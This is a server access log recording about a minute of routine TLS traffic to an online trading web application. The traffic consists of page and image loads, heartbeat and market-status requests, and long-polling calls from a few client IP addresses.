[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:13:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:11:13:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767928666257 HTTP/1.1" 3188
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 125
[09/Jan/2026:11:13:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:13:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:11:13:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:13:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:11:13:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:13:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928668749 HTTP/1.1" -
[09/Jan/2026:11:13:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928683230 HTTP/1.1" -
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 294
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:11:13:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:11:13:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928673327 HTTP/1.1" -
[09/Jan/2026:11:13:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 207
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928669839 HTTP/1.1" -
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:13:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:13:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1297
[09/Jan/2026:11:13:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928673768 HTTP/1.1" -
[09/Jan/2026:11:13:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928689232 HTTP/1.1" -
[09/Jan/2026:11:13:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928678373 HTTP/1.1" -
[09/Jan/2026:11:13:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:13:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928674865 HTTP/1.1" -
[09/Jan/2026:11:13:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928678812 HTTP/1.1" -
[09/Jan/2026:11:13:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928695224 HTTP/1.1" -
[09/Jan/2026:11:13:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928683498 HTTP/1.1" -
[09/Jan/2026:11:13:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928679909 HTTP/1.1" -
[09/Jan/2026:11:13:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928683841 HTTP/1.1" -
[09/Jan/2026:11:13:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928688611 HTTP/1.1" -
[09/Jan/2026:11:13:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928684987 HTTP/1.1" -
[09/Jan/2026:11:13:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928701233 HTTP/1.1" -
[09/Jan/2026:11:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928688883 HTTP/1.1" -
[09/Jan/2026:11:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928693798 HTTP/1.1" -
[09/Jan/2026:11:13:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928690072 HTTP/1.1" -
[09/Jan/2026:11:13:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928707233 HTTP/1.1" -
[09/Jan/2026:11:13:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928693918 HTTP/1.1" -
[09/Jan/2026:11:13:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928698916 HTTP/1.1" -
[09/Jan/2026:11:13:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928695130 HTTP/1.1" -
[09/Jan/2026:11:13:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:13:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:13:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928713225 HTTP/1.1" -
[09/Jan/2026:11:13:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928698965 HTTP/1.1" -
[09/Jan/2026:11:13:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:13:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928704078 HTTP/1.1" -
[09/Jan/2026:11:13:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928700225 HTTP/1.1" -
[09/Jan/2026:11:13:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928703996 HTTP/1.1" -
[09/Jan/2026:11:13:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928719223 HTTP/1.1" -
[09/Jan/2026:11:13:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:13:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:13:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928709145 HTTP/1.1" -
[09/Jan/2026:11:13:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928705336 HTTP/1.1" -
[09/Jan/2026:11:13:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928709036 HTTP/1.1" -
[09/Jan/2026:11:14:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928725224 HTTP/1.1" -
[09/Jan/2026:11:14:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928714209 HTTP/1.1" -
[09/Jan/2026:11:14:03 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928710450 HTTP/1.1" -
[09/Jan/2026:11:14:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928714055 HTTP/1.1" -
[09/Jan/2026:11:14:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928731224 HTTP/1.1" -
[09/Jan/2026:11:14:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928719340 HTTP/1.1" -
[09/Jan/2026:11:14:08 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928715530 HTTP/1.1" -
